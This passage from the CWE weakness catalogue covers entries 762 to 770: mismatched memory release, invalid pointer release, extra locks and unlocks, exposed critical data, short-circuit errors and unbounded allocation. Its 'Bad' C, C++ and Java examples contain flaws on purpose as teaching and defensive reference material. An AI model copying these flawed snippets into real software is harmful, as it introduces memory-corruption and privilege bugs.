ChildOf		763	Release of Invalid Pointer or Reference	1608
ParentOf		590	Free of Memory not on the Heap	1335

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf		404	Improper Resource Shutdown or Release	987

Applicable Platforms

Language : C (Prevalence = Undetermined)

Language : C++ (Prevalence = Undetermined)

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Availability	DoS: Crash, Exit, or Restart	
Confidentiality	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Implementation

Only call matching memory management functions. Do not mix and match routines. For example, when you allocate a buffer with `malloc()`, dispose of the original pointer with `free()`.

Phase: Implementation

Strategy = Libraries or Frameworks

Choose a language or tool that provides automatic memory management, or makes manual memory management less error-prone. For example, `glibc` in Linux provides protection against free of invalid pointers. When using Xcode to target OS X or iOS, enable automatic reference counting (ARC) [REF-391]. To help correctly and consistently manage memory when programming in C++, consider using a smart pointer class such as `std::auto_ptr` (defined by ISO/IEC 14882:2003), `std::shared_ptr` and `std::weak_ptr` (specified by an upcoming revision of the C++ standard, informally referred to as C++ 1x), or equivalent solutions such as Boost.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, `glibc` in Linux provides protection against free of invalid pointers.

Phase: Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

Phase: Testing

Use a tool that dynamically detects memory management problems, such as `valgrind`.

Demonstrative Examples

Example 1:

This example allocates a `BarObj` object using the `new` operator in C++, however, the programmer then deallocates the object using `free()`, which may lead to unexpected behavior.

Example Language: C++

(Bad)

```
void foo(){
    BarObj *ptr = new BarObj()
    /* do some work with ptr here */
    ...
    free(ptr);
}
```

Instead, the programmer should have either created the object with one of the malloc family functions, or else deleted the object with the delete operator.

Example Language: C++

(Good)

```
void foo(){
    BarObj *ptr = new BarObj()
    /* do some work with ptr here */
    ...
    delete ptr;
}
```

Example 2:

In this example, the program does not use matching functions such as malloc/free, new/delete, and new[]/delete[] to allocate/deallocate the resource.

Example Language: C++

(Bad)

```
class A {
    void foo();
};
void A::foo(){
    int *ptr;
    ptr = (int*)malloc(sizeof(int));
    delete ptr;
}
```

Example 3:

In this example, the program calls the delete[] function on non-heap memory.

Example Language: C++

(Bad)

```
class A{
    void foo(bool);
};
void A::foo(bool heap) {
    int localArray[2] = {
        11,22
    };
    int *p = localArray;
    if (heap){
        p = new int[2];
    }
    delete[] p;
}
```

Affected Resources

- Memory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2398
MemberOf		1172	SEI CERT C Coding Standard - Guidelines 51. Microsoft Windows (WIN)	1154	2485
MemberOf		1237	SFP Primary Cluster: Faulty Resource Release	888	2503

Nature	Type	ID	Name	V	Page
MemberOf		1399	Comprehensive Categorization: Memory Safety	1400	2546

Notes

Applicable Platform

This weakness is possible in any programming language that allows manual management of memory.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	WIN30-C	Exact	Properly pair allocation and deallocation functions
Software Fault Patterns	SFP12		Faulty Memory Release

References

[REF-657]"boost C++ Library Smart Pointers". < https://www.boost.org/doc/libs/1_38_0/libs/smart_ptr/smart_ptr.htm >.2023-04-07.

[REF-480]"Valgrind". < <http://valgrind.org/> >.

[REF-391]iOS Developer Library. "Transitioning to ARC Release Notes". 2013 August 8. < <https://developer.apple.com/library/archive/releasenotes/ObjectiveC/RN-TransitioningToARC/Introduction/Introduction.html> >.2023-04-07.

CWE-763: Release of Invalid Pointer or Reference

Weakness ID : 763

Structure : Simple

Abstraction : Base

Description

The product attempts to return a memory resource to the system, but it calls the wrong release function or calls the appropriate release function incorrectly.

Extended Description




This weakness can take several forms, such as:

- The memory was allocated, explicitly or implicitly, via one memory management method and deallocated using a different, non-compatible function (CWE-762).
- The function calls or memory management routines chosen are appropriate, however they are used incorrectly, such as in CWE-761.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		404	Improper Resource Shutdown or Release	987
ParentOf		761	Free of Pointer not at Start of Buffer	1601
ParentOf		762	Mismatched Memory Management Routines	1605



Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		404	Improper Resource Shutdown or Release	987

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf		404	Improper Resource Shutdown or Release	987

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		399	Resource Management Errors	2345
MemberOf		465	Pointer Issues	2349

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Availability	DoS: Crash, Exit, or Restart	
Confidentiality	Execute Unauthorized Code or Commands	
<p><i>This weakness may result in the corruption of memory, and perhaps instructions, possibly leading to a crash. If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code.</i></p>		

Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness = High

Potential Mitigations

Phase: Implementation

Only call matching memory management functions. Do not mix and match routines. For example, when you allocate a buffer with `malloc()`, dispose of the original pointer with `free()`.

Phase: Implementation

When programming in C++, consider using smart pointers provided by the boost library to help correctly and consistently manage memory.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, glibc in Linux provides protection against free of invalid pointers.

Phase: Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

Phase: Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

Demonstrative Examples

Example 1:

This code attempts to tokenize a string and place it into an array using the `strsep` function, which inserts a `\0` byte in place of whitespace or a tab character. After finishing the loop, each string in the AP array points to a location within the input string.

Example Language: C

(Bad)

```
char **ap, *argv[10], *inputstring;
for (ap = argv; (*ap = strsep(&inputstring, " \t")) != NULL;)
    if (*ap != '\0')
        if (++ap >= &argv[10])
            break;
/.../
free(ap[4]);
```

Since `strsep` is not allocating any new memory, freeing an element in the middle of the array is equivalent to free a pointer in the middle of `inputstring`.

Example 2:

This example allocates a `BarObj` object using the `new` operator in C++, however, the programmer then deallocates the object using `free()`, which may lead to unexpected behavior.

Example Language: C++

(Bad)

```
void foo(){
    BarObj *ptr = new BarObj()
    /* do some work with ptr here */
    ...
    free(ptr);
}
```

Instead, the programmer should have either created the object with one of the `malloc` family functions, or else deleted the object with the `delete` operator.

Example Language: C++

(Good)

```
void foo(){
    BarObj *ptr = new BarObj()
    /* do some work with ptr here */
    ...
    delete ptr;
}
```

Example 3:

In this example, the programmer dynamically allocates a buffer to hold a string and then searches for a specific character. After completing the search, the programmer attempts to release the allocated memory and return `SUCCESS` or `FAILURE` to the caller. Note: for simplification, this example uses a hard-coded "Search Me!" string and a constant string length of 20.

Example Language: C

(Bad)

```
#define SUCCESS (1)
#define FAILURE (0)
int contains_char(char c){
    char *str;
    str = (char*)malloc(20*sizeof(char));
    strcpy(str, "Search Me!");
    while( *str != NULL){
        if( *str == c ){
            /* matched char, free string and return success */
```

```

    free(str);
    return SUCCESS;
}
/* didn't match yet, increment pointer and try next char */
str = str + 1;
}
/* we did not match the char in the string, free mem and return failure */
free(str);
return FAILURE;
}

```

However, if the character is not at the beginning of the string, or if it is not in the string at all, then the pointer will not be at the start of the buffer when the programmer frees it.

Instead of freeing the pointer in the middle of the buffer, the programmer can use an indexing pointer to step through the memory or abstract the memory calculations by using array indexing.

Example Language: C

(Good)

```

#define SUCCESS (1)
#define FAILURE (0)
int contains_char(char c){
    char *str;
    int i = 0;
    str = (char*)malloc(20*sizeof(char));
    strcpy(str, "Search Me!");
    while( i < strlen(str) ){
        if( str[i] == c ){
            /* matched char, free string and return success */
            free(str);
            return SUCCESS;
        }
        /* didn't match yet, increment pointer and try next char */
        i = i + 1;
    }
    /* we did not match the char in the string, free mem and return failure */
    free(str);
    return FAILURE;
}

```

Example 4:

Consider the following code in the context of a parsing application to extract commands out of user data. The intent is to parse each command and add it to a queue of commands to be executed, discarding each malformed entry.

Example Language: C

(Bad)

```

//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok;
char* sep = " \t";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
    if( isMalformed( tok ) ){
        /* ignore and discard bad data */
        free( tok );
    }
    else{
        add_to_command_queue( tok );
    }
    tok = strtok( NULL, sep);
}

```

While the above code attempts to free memory associated with bad commands, since the memory was all allocated in one chunk, it must all be freed together.

One way to fix this problem would be to copy the commands into a new memory location before placing them in the queue. Then, after all commands have been processed, the memory can safely be freed.

Example Language: C (Good)

```
//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok, *command;
char* sep = " \t";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
    if( !isMalformed( command ) ){
        /* copy and enqueue good data */
        command = (char*) malloc( (strlen(tok) + 1) * sizeof(char) );
        strcpy( command, tok );
        add_to_command_queue( command );
    }
    tok = strtok( NULL, sep);
}
free( input )
```

Observed Examples

Reference	Description
CVE-2019-11930	function "internally calls 'calloc' and returns a pointer at an index... inside the allocated buffer. This led to freeing invalid memory." https://www.cve.org/CVERecord?id=CVE-2019-11930

Affected Resources

- Memory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	969	SFP Secondary Cluster: Faulty Memory Release	888	2425
MemberOf	C	1237	SFP Primary Cluster: Faulty Resource Release	888	2503
MemberOf	C	1399	Comprehensive Categorization: Memory Safety	1400	2546

Notes

Maintenance

The view-1000 subtree that is associated with this weakness needs additional work. Several entries will likely be created in this branch. Currently the focus is on free() of memory, but delete and other related release routines may require the creation of intermediate entries that are not specific to a particular function. In addition, the role of other types of invalid pointers, such as an expired pointer, i.e. CWE-415 Double Free and release of uninitialized pointers, related to CWE-457.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP12		Faulty Memory Release

References

[REF-657]"boost C++ Library Smart Pointers". < https://www.boost.org/doc/libs/1_38_0/libs/smart_ptr/smart_ptr.htm >.2023-04-07.

[REF-480]"Valgrind". < <http://valgrind.org/> >.

CWE-764: Multiple Locks of a Critical Resource

Weakness ID : 764

Structure : Simple

Abstraction : Base

Description

The product locks a critical resource more times than intended, leading to an unexpected state in the system.



Extended Description

When a product is operating in a concurrent environment and repeatedly locks a critical resource, the consequences will vary based on the type of lock, the lock's implementation, and the resource being protected. In some situations such as with semaphores, the resources are pooled and extra locking calls will reduce the size of the total available pool, possibly leading to degraded performance or a denial of service. If this can be triggered by an attacker, it will be similar to an unrestricted lock (CWE-412). In the context of a binary lock, it is likely that any duplicate locking attempts will never succeed since the lock is already held and progress may not be possible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		675	Multiple Operations on Resource in Single-Operation Context	1496
ChildOf		667	Improper Locking	1472

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1457

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1457

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		411	Resource Locking Problems	2346

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU)	
Integrity	DoS: Crash, Exit, or Restart	
	Unexpected State	



Potential Mitigations

Phase: Implementation

When locking and unlocking a resource, try to be sure that all control paths through the code in which the resource is locked one or more times correspond to exactly as many unlocks. If the software acquires a lock and then determines it is not able to perform its intended behavior, be sure to release the lock(s) before waiting for conditions to improve. Reacquire the lock(s) before trying again.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		987	SFP Secondary Cluster: Multiple Locks/Unlocks	888	2433
MemberOf		1401	Comprehensive Categorization: Concurrency	1400	2547

Notes

Maintenance

An alternate way to think about this weakness is as an imbalance between the number of locks / unlocks in the control flow. Over the course of execution, if each lock call is not followed by a subsequent call to unlock in a reasonable amount of time, then system performance may be degraded or at least operating at less than peak levels if there is competition for the locks. This entry may need to be modified to reflect these concepts in the future.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP21		Multiple locks/unlocks

CWE-765: Multiple Unlocks of a Critical Resource

Weakness ID : 765

Structure : Simple

Abstraction : Base

Description

The product unlocks a critical resource more times than intended, leading to an unexpected state in the system.



Extended Description

When the product is operating in a concurrent environment and repeatedly unlocks a critical resource, the consequences will vary based on the type of lock, the lock's implementation, and the resource being protected. In some situations such as with semaphores, the resources are pooled and extra calls to unlock will increase the count for the number of available resources, likely resulting in a crash or unpredictable behavior when the system nears capacity.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		675	Multiple Operations on Resource in Single-Operation Context	1496
ChildOf		667	Improper Locking	1472

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		411	Resource Locking Problems	2346

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	
Integrity	Modify Memory	
	Unexpected State	

Potential Mitigations

Phase: Implementation




When locking and unlocking a resource, try to be sure that all control paths through the code in which the resource is locked one or more times correspond to exactly as many unlocks. If the product acquires a lock and then determines it is not able to perform its intended behavior, be sure to release the lock(s) before waiting for conditions to improve. Reacquire the lock(s) before trying again.

Observed Examples

Reference	Description
CVE-2009-0935	Attacker provides invalid address to a memory-reading function, causing a mutex to be unlocked twice https://www.cve.org/CVERecord?id=CVE-2009-0935

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		987	SFP Secondary Cluster: Multiple Locks/Unlocks	888	2433
MemberOf		1401	Comprehensive Categorization: Concurrency	1400	2547

Notes

Maintenance

An alternate way to think about this weakness is as an imbalance between the number of locks / unlocks in the control flow. Over the course of execution, if each lock call is not followed by a subsequent call to unlock in a reasonable amount of time, then system performance may be degraded or at least operating at less than peak levels if there is competition for the locks. This entry may need to be modified to reflect these concepts in the future.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP21		Multiple locks/unlocks

CWE-766: Critical Data Element Declared Public

Weakness ID : 766

Structure : Simple

Abstraction : Base**Description**

The product declares a critical variable, field, or member to be public when intended security policy requires it to be private.

Extended Description

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		1061	Insufficient Encapsulation	1907
ChildOf		732	Incorrect Permission Assignment for Critical Resource	1559

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		275	Permission Issues	2339

Weakness Ordinalities

Primary :

Indirect :

Applicable Platforms

Language : C++ (Prevalence = Undetermined)

Language : C# (Prevalence = Undetermined)

Language : Java (Prevalence = Undetermined)

Common Consequences

Scope	Impact	Likelihood
Integrity	Read Application Data	
Confidentiality	Modify Application Data	
	<i>Making a critical variable public allows anyone with access to the object in which the variable is contained to alter or read the value.</i>	
Other	Reduce Maintainability	

Detection Methods**Automated Static Analysis**

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Data should be private, static, and final whenever possible. This will assure that your code is protected by instantiating early, preventing access, and preventing tampering.

Demonstrative Examples

Example 1:

The following example declares a critical variable public, making it accessible to anyone with access to the object in which it is contained.

Example Language: C++

(Bad)

```
public: char* password;
```

Instead, the critical data should be declared private.

Example Language: C++

(Good)

```
private: char* password;
```

Even though this example declares the password to be private, there are other possible issues with this implementation, such as the possibility of recovering the password from process memory (CWE-257).

Example 2:

The following example shows a basic user account class that includes member variables for the username and password as well as a public constructor for the class and a public method to authorize access to the user account.

Example Language: C++

(Bad)

```
#define MAX_PASSWORD_LENGTH 15
#define MAX_USERNAME_LENGTH 15
class UserAccount
{
public:
    UserAccount(char *username, char *password)
    {
        if ((strlen(username) > MAX_USERNAME_LENGTH) ||
            (strlen(password) > MAX_PASSWORD_LENGTH)) {
            ExitError("Invalid username or password");
        }
        strcpy(this->username, username);
        strcpy(this->password, password);
    }
    int authorizeAccess(char *username, char *password)
    {
        if ((strlen(username) > MAX_USERNAME_LENGTH) ||
            (strlen(password) > MAX_PASSWORD_LENGTH)) {
            ExitError("Invalid username or password");
        }
        // if the username and password in the input parameters are equal to
        // the username and password of this account class then authorize access
        if (strcmp(this->username, username) ||
            strcmp(this->password, password))
            return 0;
        // otherwise do not authorize access
        else
            return 1;
    }
}
```

```
char username[MAX_USERNAME_LENGTH+1];
char password[MAX_PASSWORD_LENGTH+1];
};
```

However, the member variables username and password are declared public and therefore will allow access and changes to the member variables to anyone with access to the object. These member variables should be declared private as shown below to prevent unauthorized access and changes.

Example Language: C++

(Good)






```
class UserAccount
{
public:
...
private:
char username[MAX_USERNAME_LENGTH+1];
char password[MAX_PASSWORD_LENGTH+1];
};
```

Observed Examples

Reference	Description
CVE-2010-3860	variables declared public allow remote read of system properties such as user name and home directory. https://www.cve.org/CVERecord?id=CVE-2010-3860

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	2385
MemberOf		1002	SFP Secondary Cluster: Unexpected Entry Points	888	2442
MemberOf		1130	CISQ Quality Measures (2016) - Maintainability	1128	2462
MemberOf		1139	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)	1133	2467
MemberOf		1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to protect stored data from modification
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ01-J		Declare data members as private and provide accessible wrapper methods
Software Fault Patterns	SFP28		Unexpected access points
OMG ASCMM	ASCMM-MNT-15		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < <https://www.omg.org/spec/ASCMM/> >.2023-04-07.

CWE-767: Access to Critical Private Variable via Public Method

Weakness ID : 767

Structure : Simple

Abstraction : Base

Description

The product defines a public method that reads or modifies a private variable.


Extended Description

If an attacker modifies the variable to contain unexpected values, this could violate assumptions from other parts of the code. Additionally, if an attacker can read the private variable, it may expose sensitive information or make it easier to launch further attacks.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1478

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		275	Permission Issues	2339

Applicable Platforms

Language : C++ (Prevalence = Undetermined)

Language : C# (Prevalence = Undetermined)

Language : Java (Prevalence = Undetermined)

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Other	Other	

Potential Mitigations

Phase: Implementation

Use class accessor and mutator methods appropriately. Perform validation when accepting data from a public method that is intended to modify a critical private variable. Also be sure that appropriate access controls are being applied when a public method interfaces with critical data.

Demonstrative Examples

Example 1:

The following example declares a critical variable to be private, and then allows the variable to be modified by public methods.

Example Language: C++

(Bad)

```
private: float price;
public: void changePrice(float newPrice) {
    price = newPrice;
}
```

Example 2:

The following example could be used to implement a user forum where a single user (UID) can switch between multiple profiles (PID).

Example Language: Java (Bad)

```
public class Client {
    private int UID;
    public int PID;
    private String userName;
    public Client(String userName){
        PID = getDefaultProfileID();
        UID = mapUserNameToUID( userName );
        this.userName = userName;
    }
    public void setPID(int ID) {
        UID = ID;
    }
}
```

The programmer implemented setPID with the intention of modifying the PID variable, but due to a typo, accidentally specified the critical variable UID instead. If the program allows profile IDs to be between 1 and 10, but a UID of 1 means the user is treated as an admin, then a user could gain administrative privileges as a result of this typo.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	C	1184	SEI CERT Perl Coding Standard - Guidelines 06. Object-Oriented Programming (OOP)	1178	2488
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2549

Notes

Maintenance

This entry is closely associated with access control for public methods. If the public methods are restricted with proper access controls, then the information in the private variable will not be exposed to unexpected parties. There may be chaining or composite relationships between improper access controls and this weakness.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to protect stored data from modification
Software Fault Patterns	SFP23		Exposed Data
SEI CERT Perl Coding Standard	OOP31-PL	Imprecise	Do not access private variables or subroutines in other packages

CWE-768: Incorrect Short Circuit Evaluation

Weakness ID : 768
Structure : Simple
Abstraction : Variant

Description

The product contains a conditional statement with multiple logical expressions in which one of the non-leading expressions may produce side effects. This may lead to an unexpected state in the program after the execution of the conditional, because short-circuiting logic may prevent the side effects from occurring.

Extended Description

Usage of short circuit evaluation, though well-defined in the C standard, may alter control flow in a way that introduces logic errors that are difficult to detect, possibly causing errors later during the product's execution. If an attacker can discover such an inconsistency, it may be exploitable to gain arbitrary control over a system.

If the first condition of an "or" statement is assumed to be true under normal circumstances, or if the first condition of an "and" statement is assumed to be false, then any subsequent conditional may contain its own logic errors that are not detected during code review or testing.

Finally, the usage of short circuit evaluation may decrease the maintainability of the code.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1525

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Varies by Context <i>Widely varied consequences are possible if an attacker is aware of an unexpected state in the product after a conditional. It may lead to information exposure, a system crash, or even complete attacker control of the system.</i>	

Potential Mitigations

Phase: Implementation

Minimizing the number of statements in a conditional that produce side effects will help to prevent the likelihood of short circuit evaluation to alter control flow in an unexpected way.

Demonstrative Examples

Example 1:

The following function attempts to take a size value from a user and allocate an array of that size (we ignore bounds checking for simplicity). The function tries to initialize each spot with the value of its index, that is, $A[\text{len}-1] = \text{len} - 1$; $A[\text{len}-2] = \text{len} - 2$; ... $A[1] = 1$; $A[0] = 0$; However, since the programmer uses the prefix decrement operator, when the conditional is evaluated with $i == 1$, the decrement will result in a 0 value for the first part of the predicate, causing the second portion to be bypassed via short-circuit evaluation. This means we cannot be sure of what value will be in $A[0]$ when we return the array to the user.

Example Language: C (Bad)

```
#define PRIV_ADMIN 0
#define PRIV_REGULAR 1
typedef struct{
    int privileges;
    int id;
} user_t;
user_t *Add_Regular_Users(int num_users){
    user_t* users = (user_t*)calloc(num_users, sizeof(user_t));
    int i = num_users;
    while( --i && (users[i].privileges = PRIV_REGULAR) ){
        users[i].id = i;
    }
    return users;
}
int main(){
    user_t* test;
    int i;
    test = Add_Regular_Users(25);
    for(i = 0; i < 25; i++) printf("user %d has privilege level %d\n", test[i].id, test[i].privileges);
}
```

When compiled and run, the above code will output a privilege level of 1, or PRIV_REGULAR for every user but the user with id 0 since the prefix increment operator used in the if statement will reach zero and short circuit before setting the 0th user's privilege level. Since we used calloc, this privilege will be set to 0, or PRIV_ADMIN.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	871	CERT C++ Secure Coding Section 03 - Expressions (EXP)	868	2395
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2440
MemberOf	C	1410	Comprehensive Categorization: Insufficient Control Flow Management	1400	2557

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to protect stored data from modification
Software Fault Patterns	SFP1		Glitch in computation

CWE-770: Allocation of Resources Without Limits or Throttling

Weakness ID : 770

Structure : Simple

Abstraction : Base

Description

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any restrictions on the size or number of resources that can be allocated, in violation of the intended security policy for that actor.







Extended Description

Code frequently has to work with limited resources, so programmers must be careful to ensure that resources are not consumed too quickly, or too easily. Without use of quotas, resource limits, or other protection mechanisms, it can be easy for an attacker to consume many resources by rapidly making many requests, or causing larger resources to be used than is needed. When too many resources are allocated, or if a single resource is too large, then it can prevent the code from working correctly, possibly leading to a denial of service.


Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		665	Improper Initialization	1465
ChildOf		400	Uncontrolled Resource Consumption	971
ParentOf		774	Allocation of File Descriptors or Handles Without Limits or Throttling	1639
ParentOf		789	Memory Allocation with Excessive Size Value	1683
ParentOf		1325	Improperly Controlled Sequential Memory Allocation	2222
CanFollow		20	Improper Input Validation	20



Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		400	Uncontrolled Resource Consumption	971

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2446

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		399	Resource Management Errors	2345
MemberOf		840	Business Logic Errors	2381

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Often*)

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Resource Consumption (Other) <i>When allocating resources without limits, an attacker could prevent other systems, applications, or processes from accessing the same type of resource.</i>	

Detection Methods

Manual Static Analysis

Manual static analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. If denial-of-service is not considered a significant risk, or if there is strong emphasis on consequences such as code execution, then manual analysis may not focus on this weakness at all.

Fuzzing

While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find uncontrolled resource allocation problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted product in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to limit resource allocation may be the cause. When the allocation is directly affected by numeric inputs, then fuzzing may produce indications of this weakness.

Effectiveness = Opportunistic

Automated Dynamic Analysis

Certain automated dynamic analysis techniques may be effective in producing side effects of uncontrolled resource allocation problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the product within a short time frame. Manual analysis is likely required to interpret the results.

Automated Static Analysis

